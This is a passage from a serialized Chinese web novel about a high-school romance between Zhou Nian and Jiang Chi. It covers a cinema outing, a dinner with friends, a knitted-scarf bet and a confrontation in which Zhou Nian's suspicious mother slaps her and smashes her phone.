周念裹着羽绒衣走在马路上,边上的人活蹦乱跳兴致极高。她甚至怀疑刚才那几滴眼泪是她即兴涂的口水。 ** 江池是被徐明几个拉来看电影的,徐明的原话是‘票都买了,不能浪费,跟谁看不是看。’江池觉得这话简直胡扯,回复说‘你们和她能一样吗?’又架不住几个人软磨硬泡,只得答应下来。 和所有爱情文艺片一样,电影开头的音乐难免煽情。还没进入主题,宋佳月就开始抹眼泪了。徐明掏她怀里的爆米花时,一滴眼泪正好砸在他手背。 徐明一脸匪夷所思。 “不是吧大小姐,没开始呢,你哭个什么劲儿啊?” 宋佳月抽抽鼻子,很不服气。 “那我被剧透了嘛,你听这歌多悲伤啊。” 徐明哭笑不得。 “你收着点,一会儿别嚎出来,怪丢人的。” 宋佳月抬手蹭掉眼泪,扭头狠狠剜了徐明一眼,目光却不由自主地越过他肩头——江池歪靠在椅背上,单手支着下巴,百无聊赖地划着手机屏幕。 雨露 均沾,她也送了他一个白眼。 “两个木头,脑子抽了才跟你两出来看电影。” 徐明无语地回瞟她:“大小姐,没记错的话是你非要来看的吧。” 爱情片对男生的吸引力不大,只过十分钟,徐明就觉得有点无聊了,他拿出手机,荧幕恰在此时切到亮色画面,白光扫过观众席的瞬间,荧幕前突然闪过什么不得了的东西。 “阿池,阿池。” 他用手肘击同样无聊的江池。 “你猜我看到什么了?” 江池眼皮都不带掀的,漫不经心地回。 “又见到哪个大长腿美女了。” 徐明歪着脑袋凑近他,笑得贼贱,压低的气音里带钩子。 “腿不长的小美女,有兴趣看看吗?” 江池划屏幕的动作一滞,语气更冷。 “没兴趣。” “那如果——” 徐明拖长音调,指甲在手机壳上敲出咔嗒一声响。 “姓周呢?” 江池猛地抬头,影厅本就昏暗,荧幕上偏又映着夜景,眼前只剩黑压压一片人头,哪里还找得到周念的身影。 他怀疑徐明是逗他玩,冷冷地瞥了眼过去。 “不开这种玩笑会死?” 徐明不服气地冲着侧前方过道努努嘴。 “自己看,我骗你干嘛。” 为了掐点到家,叶琳买了最近场次的电影票。两人冲到影院时正片已开场,匆忙间连饮料零食都没来得及买。原本的座位在第五排中间,但眼见满座,索性在靠边的空位坐了下来 刚坐下,叶琳就凑近周念耳边。 “我跟你说,后面有反转!男主根本不是故意离开的——” 周念正眯眼辨认银幕上晃动的人影,闻言无奈侧头。 “哪个是男主?” “结局真的太惨了!我要是女主……” “好了。” 周念突然截断她的话。 “你不是女主。” “” 叶琳嘟起嘴,小声抱怨:“怎么这样啊。” 口袋传来轻微震动,周念取出手机,锁屏界面跳出江池的消息。 ——在干嘛呢?三好生。 前段时间刚拒绝过他的邀约,今天又出现在电影院。周念委实觉得字里行间都透着股阴阳怪气,她犹豫片刻,把手机重新塞回口袋。 将此情景尽收眼底的的徐明憋着笑,揶揄起当事人。 “我们招蜂引蝶的阿池也有吃瘪的时候啊。” 江池沉着脸,在手机屏幕上打字。 ——电影好看吗? 周念读完他信息的第一时间转头去寻找他的身影,在场那么多人,偏偏一眼就能触到他的眼睛,一双凉得仿佛浮着薄冰的眼睛。 她咬了咬唇,缓缓回头,没做解释,只回。 ——你也在,好巧。 江池盯着这几个字气极反笑。 ——是啊,真挺巧的。 徐明偷偷摸摸地瞄着江池的手机,看着两人的聊天记录瞬间‘噗呲’出声,觉得这出戏比屏幕上打情骂俏有趣的多。 “周念没准备哄哄你?” 只见他深深吸气,骤然吐出,眼看着他起身要走,徐明追问道。 “去哪儿啊?” 江池单手伸进裤袋,语气不大痛快。 “闷得慌,出去透透气。” 等周念再次去追寻他身影时,位置已经空了。 江池进出影厅不过两分钟,再回来时怀里竟抱着爆米花和两杯可乐。徐明盯着那桶焦糖色的爆米花冷笑,刚才煞有介事的离开,还真以为他是去找人干架,没想到是去献殷勤的。 他翻了个白眼过去就没再看这出堵心大闹剧。 塑料杯壁凝结的水珠滴在周念手背,她下意识缩了缩手。抬头正撞见江池垂下的眼睫,只见他不由分手地将东西塞了过来。 “拿着。” 道谢后她把可乐递给叶琳,叶琳好奇她从哪儿变出来,就看到周念身侧的江池。她冲周念抛了个耐人寻味的媚眼。 “他怎么来了?还说你俩没事!” 周念懒得跟她解释,吸了口可乐,还没下咽。听到边上江池开口,差点没把自己呛死。 “书看完了?” “” “我还以为你有看不完的书呢?” “其实我刚才是在看书。” “是吗?” 江池大剌剌跨坐在周念右侧空位,长腿几乎抵住前排椅背,似乎没有要听她解释的意思。 周念小声地试探道:“生气了?” 江池冷不丁地笑了声:“哪儿敢?万一某人要跟我‘算了呢’?” 第39章 第39章有恃无恐了是吗 电影结束,徐明对此的评价是:噱头远超实质,简而言之,烂片。 虽然没到饭点,没吃午饭的徐明早已饥肠辘辘,他和宋佳月商量要不几个人在边上的小炒店对付一口,两人顺着通道往下走停在江池座位旁。 “一起吃饭吗?” 是宋佳月开的口,视线对准的是叶琳。 这群人都是赵樾的朋友,要说丝毫不介意那是不可能的,叶琳有些犹豫,周念见她为难,替她解围说。 “你们去吃吧,我们得早点回家。” 说完余光掠过江池,江池没吭声。 面对叶琳,宋佳月其实挺愧疚的,毕竟早就知晓赵樾这点破事儿,而且现在又闹得那么难看。既然她不愿意,自己也不能勉强,她刚想说点什么,就听到江池开口了。 “叶琳。” “嗯?” 叶琳无措地将视线瞥向江池。 他一改平时漫不经心的口吻,冲着叶琳特正式地颔首。 “我替赵樾跟你道个歉,你要见了我们心烦,那就算了。” 他向徐明使了个眼色,示意他们先行离开。 “我们先走。” “等等。” 叶琳觑着手机上的时间,鼓了鼓腮帮子,思忖片刻说。 “上哪儿吃不是吃,再说了,江池大帅哥请客,我能不卖这个面子?” 她看向周念:“对吧,小念。” “对嘛。” 宋佳月从两个大高个儿中挤出来,顺带绕过周念挽起叶琳的胳膊。 “走,吃饭去。” 影院门口积起一汪死水,不知何时下起的雨把沥青路面染成深灰色。徐明冒雨冲进对面便利店,五分钟后抱着三把折叠伞回来。 “只剩这些了。” 他把其中一把给宋佳月,自己唰地撑开墨绿色伞,最后一把伞的伞柄指向江池。 “你俩一把。” 江池拆包装的间隙,瞥了眼边上的周念。 “他故意的。” “我知道。” 周念看着那小的可怜的伞,怀疑这是给小朋友准备的。 宋佳月挽着叶琳在前头有说有笑,徐明觉得无聊,死皮赖脸地跟在两人屁股后头。 剩江池和周念落在最后。 江池有意将伞往周念那头倾斜,周念没好意思让他独自淋雨,只得尽可能地挨着他走。 “同撑一把伞不算越界吧?” 明明是用来调侃她的,说完,江池竟觉得有些苦涩。 周念:“不算。” 雨夜的街道是无数片打碎的镜面,倒映着整条街霓虹色彩。周念跨过水坑时,腰间突然传来温热的力道,被人轻轻一托,然而这个力道在她踏实地面后瞬间消失,短暂的像是错觉。 “谢谢。” “嗯。” 江池回得心不在焉,见周念前,他有一堆废话想对她说,可等人真的在边上了又不知从何说起。 倒是周念开始询问他最近状况。 “还抽烟吗?” 江池把领子敞开,迁就她的身高微歪下头。 “要闻闻吗?” 挨得那么近,周念稍偏头就能闻到那股属于江池的独特的味道,其中没有烟草味,她略有狐疑:“戒了?” 江池挑了挑眉,有点小得意:“嗯。” 周念似是满意,唇角极浅地弯起弧度。 “那最近有看书吗?” 江池实话实说。 “看,看得不多。” 学习是日积月累不是一蹴而就,想要一下子跟上并不容易,周念再清楚不过,所以简单得问问就不再深究了。 她分心思考还要问些什么,没注意到前方水坑,江池先一步察觉,下意识拉住她的手往回带。 “想什么呢?” 江池问着,手却没松。 “没什么 。” 周念试图松手反被他紧紧握住。 : “江池?” “牵会儿。” 江池沉着脸不愿松,他把她冰冷的手握紧放进大衣口袋。 “放心,捂热了就松开。” “江池!” 语气很轻,却似警告。 “你是怎么答应我的?” “我答应你,你就可以一直肆无忌惮的忽视我?冷落我?” 江池深蹙起眉径直往前走,连带着周念也跟着他向前。 “有恃无恐了是吗?” 周念还想跟他理论却听到雨水细密的撞击声中传来他突然放软的声音。 “能不能在给你发消息时稍微回复我一下?哪怕抽空打发我一下也好。” 他垂着眸尝试用视线触碰她的眼睛。 “嗯?” 周念低头躲开那个眼神,有那么一瞬,耳畔仿佛响起一个声音。周念你在做什么?你当初靠近江池的初衷是什么?她不言不语,慢慢得将手抽离。 只有心中不停默念。 结束了,快结束了。 “我也不知道自己发什么神经,非你不可了。” 见她这般,江池无奈又自嘲地笑笑。 “我没奢望跟你的学业和前途去比,但你能不能偶尔让我也感觉到。在你心里,我跟别人不一样。” 周念仍是低着头不声不响。沉默间,雨势渐小,点点滴滴细细密密宛如空中一层薄纱,是叶琳打破了无声对峙。 “小念!~” 远处,叶琳挥着收好的雨伞冲着头大声呼唤。 “你俩走快点!” 江池长吁一口气,轻拍在她的肩头。 “算了,走吧。” 宋佳月和叶琳无辣不欢,两个人见到边上的川菜馆默契地对了眼后决定晚饭在此解决。像这种街边的苍蝇馆子,地方不大人气却不低,两人进店时,几乎座无虚席,一番商量之下,让老板在厨房外临时安了张贴墙的四人小方桌。 宋佳月不想自讨没趣,拉着叶琳跟自己一块儿坐,徐明搬来一个塑料小凳坐在过道边。周念和江池最晚到,自然而然地坐在了一起。 在桌上,叶琳和宋佳月从最近大火的电视剧聊到高三时下最热门的话题。无非是哪个学校的哪个班又出了一对情侣,哪个年级的老师做了什么不光彩的事,聊到学校里的风云人物时,还会把那人的事迹从头到脚分析一遍,顺带代入自己:“如果是我,肯定……” 聊得正起劲,叶琳忽然对江池说。 “江池,你们学校上周末是不是有两个男生动刀子,其中一个把另一个的肠子都捅出来了。” 江池似是回忆了下。 “听说是。” 叶琳咬着筷子,眨巴眨巴那双期待的眼睛。 “当时什么情况啊?你说说呗。” 周念默默听着,余光瞥见江池从桌边抽了个一次性杯子,起身进了厨房。再回来时,杯子里已盛满凉水。 “具体不太了解。”他边说边把水放在周念面前:“涮涮再吃。” 周念抿了抿被辣红的嘴巴,还没来得及道谢,江池已经接回刚才话题:“听说是两伙人打篮球抢地盘。” “是吗?”宋佳月咬着筷子加入讨论:“我怎么记得是抢女朋友啊?” 江池事不关己的笑了笑:“那谁知道。” 徐明边听边把玩着手机,忽然想到什么,手机往上一举。 “阿池,周念,看我。” ‘咔嚓’一声,将两人的模样定格在手机屏上。 拍完自顾自欣赏。 “别说,怪配的。” 说着他将手机在江池眼前晃动,举起两根手指。 “想要不?两百。” “抢劫呢你?” 宋佳月抱着胳膊冷笑,正要继续嘲讽,余光忽然瞥见对面桌织围巾的女孩。她本就对江池和周念的事避之不及,立刻话锋一转。 “最近怎么流行织围巾?” 徐明回头瞟一眼:“八成是毛线店老板造的谣,说什么‘亲手织围巾能长长久久’。” 他忽然扭头冲周念挑眉。 “周老大,你看我们阿池脖子上是不是缺点什么?” 周念:“” 叶琳记挂着要兑现承诺,匆匆结束谈话,拽着周念疾步往外走。江池站在街边扬手招来出租车,等两人在后座坐稳,车子扬长而去,他才折回店里与徐明碰头。 与此同时,叶琳母亲叶硕正挽着张宁在马路对面挑选饭店,她突然驻足,拽了拽张宁的衣袖,眯眼望向那辆驶入车流的出租车。 “我刚刚好像看到念念了?” “谁?” 张宁害怕自己听错,重复道:“谁?念念?” 叶硕原地琢磨了会儿,摇了摇头。 “也不确定,我看到有个男生送她上车了。” 张宁眉头深蹙,叶硕见状忙摆手笑道:“应该是看错了吧,念念怎么会跟男孩子一起呢?” 酒足饭饱后涌上的困意让周念眼皮发沉,她歪在后座闭目养神,就在她快要坠入黑暗时,手机震了。 微信是张宁发来的。 ——在哪里? 简简单单三个字让她瞬间清醒,她不确定张宁是随口问的还是见她不在家才问及的,她只知道如果她老老实实地说在外头免不了遭来一顿劈头盖脸的数落。 与其认命不如赌一把。 她回复,家里。 不出十秒,掌心的手机再度震颤。周念蹙眉瞥向屏幕,在‘江池’二字跳入视线的瞬间,拧紧的眉心被逐渐熨开。 是徐明拍的照片,下面配文:两百买的。 她仔细端详着屏幕里的两人,被拍时两人的表情都有点愣,傻乎乎的。 她点开照片按下保存,回复道。 ——你被宰了。 对面秒回。 ——谁让我乐意被宰呢。 周念定定地看着屏幕,恍惚一瞬,又点开相册,手指在删除键上停留了会儿,最终选择按下。 第40章 第40章逃跑,像罪犯越狱那样…… 电影没看过瘾,徐明招呼了几个共同好友去江池家看球赛,江池给他们点了些烧烤和啤酒,自己陷在沙发一角刷手机。徐明见状一屁股坐在他边上,调侃道:“上进哥,不发奋图强了?” 江池闷笑:“没完没了了?” 徐明不知从哪儿掏出一本笔记本。 “喏,周念的笔记本,用这个‘要挟’她,她肯定就乖乖出来了。” 江池抽出他手里的笔记本,打开封面,首页右下角是隽秀有力的‘周念’二字。 “你哪儿来的?” “借的。”徐明说:“还能是我偷的?” 江池翻了几页把笔记本小心地放在身侧,徐明看他宝贝的样子不禁嗤笑:“你这样跟单相思有什么区别?人,人约不出来,心,心没在你那儿?这就是她说的等啊?” 他叹了口气,又分析道:“就刚才我都那么明白的跟周念暗示,你脖子上是不是缺点什么,她说一句话没?我告诉你,你别以为我没看到,我看你牵她手了,她当时什么反应?是不是不让?这是正常喜欢一个人的反应吗?你想想?” “不说别的,你就看看叶琳,她跟阿樾在一起那会儿是不是恨不得整个人都粘他身上,两人好的时候也没羞没臊的,当着大家面就搂搂抱抱亲亲嘴的。周念不跟你牵手总不至于是害羞吧?你再看看佳月,你都不用喊她出去,只要知道你人在,她就跟见了花的蜜蜂似的嗡嗡嗡就围上来了,哪次不是抢着坐你身边。这才叫喜欢一个人好吗?你再翻翻你的聊天记录,你说几句她才回你一 句,你要说她忙,能忙到打字的时间都没有?” “反正我是不信。” 他一顿分析,给江池分析沉默了,好一会儿才说。 “那怎么办?” 他略显苦涩地一笑。 “我就认她。” “得。”徐明无奈:“白跟你说那么多了。” “我的意思是,外头的女孩多的是。佳月就很好,性格开朗,心思单纯。” 江池斜眼睨他:“你开什么玩笑?” “好,佳月不行那没事。”徐明说得口干舌燥,仰头灌了半罐啤酒,继续道:“那你就找个跟我们处得来的,也喜欢和大家一起有说有笑打打闹闹的。而不是周念这种这种” 他试图找一个精准的形容词来形容她,想了半天想不出来。 “就那种永远猜不透她心思的。” “我知道这样说你不会死心的。”徐明从茶几旁的箱子里捞出一罐啤酒,开盖后递给江池。 “打个赌怎么样?” 江池喝了口酒,眼神虚焦在茶几上。 “不赌。” “是不敢吧。” 徐明把剩下半罐酒一口闷完,空罐重重地往茶几上一放。 “你要是不敢,那成,我以后永远不劝你。你就算死在她手里,我也只能拍拍你肩膀跟你说‘阿池啊,算你倒霉’。” 他也不管江池同不同意,自顾自说。 “你现在跟她说,想要一条她亲手织的围巾,看看她什么反应。她要说织,我以后再不说她半句坏话。她要不织,哥们今晚就带几个女孩来见你” “神经。”江池皱眉:“这叫赌?你刚才不是问过吗?” 徐明也是急了,声音高了八度。 “我问跟你问能一样吗?我顶多是开开玩笑,你说就是真的想要。” “没意思。” 话是这么说,但江池还是下意识地看了眼手机。 “她没这个时间。” 徐明白眼翻上天。 “哼,她要真喜欢你,别说围巾了,线衣线裤都给你打整套的。” ** 张宁借口单位有事匆匆告别叶硕,到家后,她半蹲着查看鞋柜,周念的鞋子都在,规规矩矩的躺在那里,她用指腹抹过每双鞋的边沿,表面冰凉干燥。 她轻舒口气,心说:应该是叶硕看错了。她原地站了会儿,目光沿着楼梯上移,渐渐地眉头一蹙又露出怀疑的神色。 她换上鞋,放慢脚步,轻轻上楼。 推开门的一瞬,周念正将卷子翻到背面,见她来,偏头看了眼边上的闹钟,而后才不解道:“妈?你怎么回来了?没跟叶阿姨吃饭吗?” 张宁唇角扯了扯,声音刻意放轻:“哦,你叶阿姨说肠胃不舒服回家了。” 周念若有所思地点点头,继续作业。 张宁又问:“今天没出门吗?” “没,怎么了?” “没什么。” 张宁笑笑说:“你叶阿姨开玩笑说我俩出门,琳琳肯定会耐不住性子找你出去玩的。” “她是来找过我,在家里玩了会儿,她觉得无聊就走了。” “这样啊。” 张宁的目光在房间内游走一遍,好半晌才打消心中疑虑。 “那你看书吧,我不打扰你了。” “嗯,好。” 听到楼梯上的脚步声越来越轻,周念才搁下笔,双肩一沉靠向椅背。她偏头看向窗户,窗外的雨丝连绵不断,像一把把试图割裂天空的钝刀,重复地做着徒劳的事。 看着看着,眼神逐渐失焦。 此前没有任何一刻能像现在一样,让她如此渴望离开这个家,离开这个城市。 甚至有个极其荒谬的念头在她脑海滋长。 ——逃跑,像罪犯越狱那样,去开辟一条无人知晓的通道,通道的另一头是场盛大的春日。没人监视,无人施压,是自由的,畅快的,完完全全属于自己的。 她将视线投向日历,十二月,距离元旦很近了。离高考也不过五个多月,忍一忍,忍一忍就好了。 这时,手机屏幕上跳出江池的电话。 周念本能地看了眼房门,确认门是紧闭的,视线又回归至手机。一秒,两秒,十秒,三十秒。 最终她还是拿着手机进了浴室。 “有事?” 那头沉默了会儿说‘嗯。’ 以往按江池的脾气,肯定会呛她一句‘没事不能给你打电话?’而今天居然那么平静地回了‘嗯’。 周念不由地抿唇:“怎么了?” 又是一阵死寂,约莫十秒钟,江池才开口。 “会织围巾吗?” 这话一出,周念大致猜到了他来电的用意。 “我不会。”她顿了顿解释说:“我手脚比较笨。” “嗯。”江池回以沉默,半晌才是说:“那没事了,我先挂了。” “等等。” 周念忽然叫住他,目光聚焦在窗户上宛若一条条透明爬虫的水渍上,她说:“你喜欢什么颜色?” 那头突然轻笑一声,江池反问她:“什么意思?” 周念:“没什么意思,我想问你,你喜欢什么颜色的围巾。” “都喜欢,什么都可以。” “好。” 挂断电话,江池将手机一摊,得瑟地冲徐明挑了挑眉。 徐明简直不敢相信自己的耳朵,狡辩说:“她又没说给你织围巾,你得瑟个鬼啊。” “你要以后再敢说她一句不是。” 他起身把手机滑入裤带,心情不错的从徐明面前经过。 “看我怎么收拾你。” 晚上,周念刷完题准备睡觉,她从抽屉里拿出手机,屏幕上有上百条未读信息。都来自于和叶琳方妙的小群,周念简单翻看,原来是方妙准备给他男友织围巾,不知道织哪种款式和颜色,想让大家一起帮着选择。 最后一条信息是方妙发的,询问周念的意思。 ——小念不在吗?一会儿看到了你也帮我看看呗。 周念翻了翻群里的图片,都大差不差,也给不定主意,她犹豫了会儿问。 ——织围巾难吗? 方妙几乎是秒回。 ——上手是不难,织得平整好看就难了。 叶琳似乎看出她的意图回。 ——你问这个干嘛。 周念无意识地摩挲着指腹,对话框里的文字打了又删,最终回复说。 ——没什么。 她又问。 ——学校附近有卖围巾的吗? ** 临近中午,三院的睡眠障碍科室外依旧人满为患。张宁排了一个小时队,室外电子屏上终于出现她的号码。 周宏珊原本低头看电脑,拿到张宁递过来的号子才猛然抬头,表情意外。 “嫂子?你怎么来了。” “我怎么不能来。” 张宁不以为意道:“药吃完了,再来配点。” “我不是这个意思。”周宏珊摘下口罩,把椅子往前挪了些:“让小念顺道来拿一下不就行了。” 她回忆着上次周念取药的日子,困惑道:“不对啊,配了那么多,都吃完了?” “嗯。”张宁心思不在这儿上,没细究上次到底配了多少,只随口敷衍了句:“老毛病了,你又不是不知道。” 周宏珊在键盘上敲打药名。 “我看你啊就是瞎想想得太多了,不管是我哥也好,念念也好,你都恨不得按个监控在他们身上。”说完,又顾及自己小姑子的身份,怕对方以为自己有失偏颇继而解释:“也知道你是为了这个家好,但每个人有自己的自由不是?” “嗯。” 张宁敷衍着点头,没一会儿,凑到她跟前小声询问。 “姗姗,最近念念有没有跟你聊什么?” “没有啊,怎么啦?”周宏珊想当然道:“念念的性子你又不是不知道,什么都憋心里,半天憋不出个屁。” “这样啊。” 张宁又觉得自己是胡思乱想想多了,但想起当初威胁她的那张纸,又想到叶硕那天说的话,总是放心不下。“我就想着,念念跟你亲,有事儿也会问问你的意见。所以” 周宏珊瞧她吞吞吐吐,好不痛快,直接问:“有什么你就直说。” 张宁说:“她最近有没有跟哪个男孩子走得很近?” “我都多久没见她了。” 周宏珊开好药的处方单递给他,底气稍有不足。 “其实吧,念念这个年纪就算” 她看着张宁脸色越来越难看,最后几个字干脆 就不说了。 “好了,你别多想了。” 她嘴里问不出话,张宁有些失望,失望之余又有点庆幸。就在她准备开门离开时,周宏珊似乎想起什么。 “嫂子,我记起来了”【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 第41章你是不是瞒着我恋爱了?…… 周念看了眼挂钟,已经六点十分,以往这个时候张宁都开始张罗晚饭了,今天却还没到家。周念刚给她打过电话,张宁没接,发了信息也没回。 她朝窗外看去,巷口空无一人。 周宏伟坐在沙发上,视线从电视机转移至周念着急的脸上。 “别担心,年底了,你妈可能在忙着对账呢?” 他拿出手机,打开外卖软件。 “先叫点吃的,省得让她回来再做。” 周念觉得在理,于是点了点头。 周宏伟划着手机,询问她的意见:“想吃点什么?” 周念向来不挑。 “都行。” 半个小时后,餐食送到,却仍不见张宁踪影,周念有点担心。 “爸,要不你打个电话问问?不会是我手机出问题了吧。” 周宏伟用遥控器关掉电视,不咸不淡地说:“你都打不通我肯定也不打通的。再说了,你妈多大的人了,不会有什么的,放心吧。” 他开门把外卖拿进来放在餐桌上,慢条斯理地打开。 “不等她了,我们先吃吧。” 周念原地站着,心想,从前不管多晚张宁都是会等周宏伟下班才开饭。那会儿自己还很小,总嚷着饿,为什么还不吃饭。张宁就会耐心地跟她解释:念念乖,念念要懂事,爸爸很忙,再给我们赚钱,不能让他到家吃不上热饭。 思及此,她本能地牵动唇角。 开饭前,周念进厨房拿了几只空碗,给张宁留了一只大鸡腿,一碗鱼汤和少许小青菜。 饭桌上,周宏伟喝了口汤,突然提起了赵樾。 “你那个被开除的同学叫什么来着?” 鸡汤里的鸡肉又老又柴,周念嚼着咽不下,于是用纸巾裹着吐了出来。 她说:“不是同学,他叫赵樾。” 按理,周宏伟是看不上这种被开除的学生的,总觉得被开除的无非是些游手好闲,不学无术的问题学生。但对于赵樾他似乎并不排斥,聊起他是嘴角还带笑。 “这小子还行,知道感恩。让人给他安排了个挺普通的学校,他也没嫌弃。这段时间总时不时的给我聊他的近况,还跟我说了他的成绩和排名,希望我能在选专业上给他出出主意。” 他低头吃了口饭,记起什么又说:“他成绩也不错,按最近几次排名看,考个211没什么问题。要真的被开除了也挺可惜的。” 周念低着头默默吃饭,没参与评价。 他继续道:“其实高中生偷尝禁果这种事儿也屡见不鲜,只是这两孩子运气差被发现了。” 周念边吃青菜,边掏出手机,手机上有几条严力发来的未读信息。 ——两天了,怎么还不打钱? ——人呢? 周念深呼吸,放下筷子,回复道。 ——我现在手头紧,有钱了马上给你转。 发完,手机倒扣在桌上。 就在周宏伟就赵樾话题继续滔滔不绝时,周念打断道:“爸,您是不是快晋升了?” “别瞎说,这种事情给别人听见怎么办?” 周宏伟略有嗔怪:“你哪儿听来的消息?” 周念笑笑,想当然道:“您在这个位置有段时间了,轮也该轮到您了。” 周宏伟笑着点了点她的脑袋。 “大人的事儿,小孩可不能乱说,我们这种家庭,凡事都讲究个谨言慎行。万一被人听去大做文章,别说晋升了,现在的位置都不一定保得住。” 他强调道:“念念,你要记住,人言可畏!” 周念乖巧地点了点头说:“嗯,我记住了。” 说着将手机翻过面,此时屏幕恰好闪烁着严力打来的电话。周念不动声色地的挂了,下一秒严力的信息就传进来。 ——为什么不接电话? 周念慢条斯理地回复。 ——我在上课,不方便接电话。 ——那你到底什么时候给钱? 周宏伟往她的手机上短暂瞥了眼,没看清。 “谁啊?” “琳琳。” 她边打字边说。 “问我作业呢。” ——三天后,三天后就给你。 ——最好是这样,不然别怪我不客气。 她又捡起筷子夹了口青菜,重新倒扣手机。 “爸,元旦的时候,您会代表局里来学校讲几句吗?” 周宏伟停下筷子,不确定道:“往年局里都会派人去你们学校参加元旦的讲话,观看学校的文艺汇演。这次人没定,一般谁有时间谁去。” 周念看着他的眼睛追问。 “您能去吗?” 周宏伟面露意外。 “怎么突然想让我去了?你不是不希望大家知道你爸爸是教育局的吗?怕被知道了会让别人以为你的成绩不纯粹,掺水分。” 说完,补了句:“你这孩子啊,就是太要强了。” 周念笑笑说:“您去了别人也不知道您是我父亲啊。毕竟高三了,你难道就不希望看到你女儿代表全体学生发表感言?” 周宏伟边笑边意味深长地感叹。 “你从小就听话懂事,也从来不让我跟你妈操心,有你这样的孩子真是我的福气。” 周念:“那您来吗?” “来。”周宏伟肯定道:“我宝贝女儿都开口了,哪还有不来的道理。” 吃完饭,周念负责收拾桌面,周宏伟则套上大衣准备出门。 “爸,那么晚了你去哪儿?” “哦。单位临时有点事儿,我出去一下。” 周念看着周宏伟收拾好公文包,又问:“还回来吗?” 拿文件的手凌空一僵,又快速收回,周宏伟避开她的目光说:“不一定,你跟你妈先睡。” 周念目送他出门,在他关门的一瞬,轻轻地说。 “非要走吗?” 当然,他已经听不见了。 周宏伟前脚刚走,张宁就风风火火地到家了。 “妈,你回来了?怎么那么晚。” 周念拿起给她预留的饭菜准备回厨房热一热,还没转身,张宁已经冲到她面前,扬起的手掌裹着风声快速落下。 “啪。” 一记耳光重重的落在周念脸上,随之,饭菜散落一地。 周念愕然,看向张宁:“妈?” “你是不是瞒着我恋爱了?” 张宁红着眼,歇斯底里道:“周念!你是不是瞒着我在谈恋爱?前段时间骗我说去竞赛班,其实是跟别人出去约会对不对?” 周念从原先的震惊中恢复过来,她面无表情地否认道。 “我没有。” “还撒谎?” 张宁冷哼道:“我都听你姑姑说了,说你上课时间陪男的去挂点滴。我今天去找你们班陈墨,她说发洪水那天,你跟那男的独处了一晚上。有没有这回事儿!” 周念垂在身侧的手指无意识蜷起,沉默数秒后点了点头:“有,但不是你想的那个样子。” 看到她承认,张宁的眼泪夺眶而出,声音几乎颤抖。 “不是我想的样子?那是什么样子?你是不是跟人睡了?” “我没有!” 周念眼里瞬间蒙上一层泪雾:“你怎么能这样想我?” 张宁死死咬着后槽牙,涨红着脸质问。 “你到底知不知道跟你在一起那个人是谁!” 周念凝视着她的眼睛,一字一字地回答。 “我知道!” “你知道?” 张宁瞳孔一缩,简直不敢相信自己的耳朵,她试探着问:“你知道?” 周念平静地吸了一大口空气,吐气时刻意放得绵长平稳。 “他是傅妍的儿子。” 听到傅妍二字,这段时间以来积攒的所有委屈和不甘如喷涌而出的潮水,从四面八方兜头而来,张宁颤抖着哭出声来。 “你你都知道了?” “我知道的,我什么都知道。” 周念慢慢走过去,环着她的腰际,轻轻地抱着她,满眼心疼地轻声说。 “妈,我知道自己在做什么,你放心,绝对不是你想的那样。 ” 周念还想继续解释,不料张宁身体一僵将她猛地推开。 “不是我想的那样,那是怎么样?你有没有喜欢上他?” 周念无措地站着,一时间竟回答不上来。 她的沉默像一道撕裂天际的闪电,映着张宁发白的脸庞,回响整耳欲聋,她追问道:“你说话呀,你怎么不说话了?” 周念强迫自己冷静,必须保持冷静,不能被一时的逼问打乱阵脚。 “我跟您解释不清楚。总之,不会是您想的样子,我有我要做的事情,请你给我一点时间。” 她强调道:“不多,最多一两个礼拜,等过完元旦,我什么都听你的。” 张宁委屈地大哭。 “你要做什么?你知不知道那男孩子要对你做什么?” “我知道。” 周念淡淡地开口。 “他说他要毁了我,对吗?” 张宁嘴唇颤动,不敢置信地看着她:“那张纸,你都看到了?” 周念点头,她试图安抚她的情绪。 “你好好看看我,我被他毁了吗?你设想的那些,我跟他都没有发生过。” “妈,我会让他们都付出代价的,你信我一回,行吗?” 张宁快速抹了把眼泪,双手抓住周念的手臂,情绪激动道。 “念念,妈妈的事情妈妈自己解决,你现在最大的任务就是好好读书,其他的事情都不要参与。” 周念皱着眉,小声恳求。 “你让我做我想的事情可以吗?不干涉我一回,就一次,我保证不影响学习。” “好吗?” 张宁直视她的眼睛,质疑道:“念念,你是不是看上他了?你跟你爸都要背叛我是不是?” 周念摇着头,慢慢地靠近,尝试着去抱她,张宁反而往后一退,觑着空当夺走她的手机,狠狠地往地上砸去。 “啪”地一声。 手机四分五裂。 张宁终于满意,上前拉着周念的手说。 “念念,往后不要用手机了。晚自习咱们也不上了,妈妈会准时送你上下学。” 周念垂眸望着地上的手机,所有的情绪居然在这一秒荡然无存,没有心疼,没有委屈,没有愤怒,异常平静。 她扯了扯唇角说:“好。” 第42章 第42章周念,别推开我 十二月的银城气温直逼零下,徐明骑着自行车吃了一路西北风,对江池的邀约颇有微词。待他进了商场,暖气一吹,怨念也跟着消散。 老远便见江池围着条灰白相间的围巾。徐明小跑过去捏住围巾一角,挑眉道:“周念织的?这才几天她就织完了?” 江池笑笑:“嗯。” 徐明揪着围巾来回翻看。 “她不是说手笨吗?这织得跟店里卖的似的。” 江池嘴角笑意一僵,猛地抽回围巾:“你最近废话有点多?” “别是敷衍你买的吧?”徐明压低声音:“你自己说她忙得没时间跟你发微信,就那么几天,她不仅学会了织围巾,还织得像模像样。这换谁谁信?” 话头如冰锥扎进领胸口。江池没吭声,他早疑心过,但转念一想万一真是她亲手织的呢?现在叫徐明一说,自己也不确定了。 思绪被他搅得心烦意乱,江池吁了口气:“你能少说几句吗?” 徐明无辜地耸肩:“话说回来,你让我来干嘛?” “挑个礼物。” 江池这才想起约他来的目的,说着便往珠宝首饰区走去。 “周念快生日了。” 徐明跟在屁股后头:“几号?” 江池快步扎进轻奢饰品区,柜台里的首饰琳琅满目。 “月底。” “打算送点什么。” “还在看。” 江池的视线从柜台的手链上转移至徐明脸上略迟疑道:“你有经验吗?” “我有没有经验你不知道?”徐明怀疑他在拿他开涮:“我连女孩子手都没碰过。” “不过是周念的话就很好选了,送个《五年高考三年模拟》我看就不错。” 江池懒得理他,低头继续挑选合适的礼物,没一会儿,在一众炫彩夺目的首饰中看中一对耳钉。耳钉不大,甚至算得上小巧,形状酷似两条金鱼,鱼头部分是浅蓝色的水钻,水钻连着银色鱼尾,跟周念素净的气质还挺搭。 他在耳钉前驻足半晌,店员瞧他感兴趣问:“送女朋友吗?” “嗯。” 他指着柜台里的鱼形耳钉说。 “拿出来看看。” 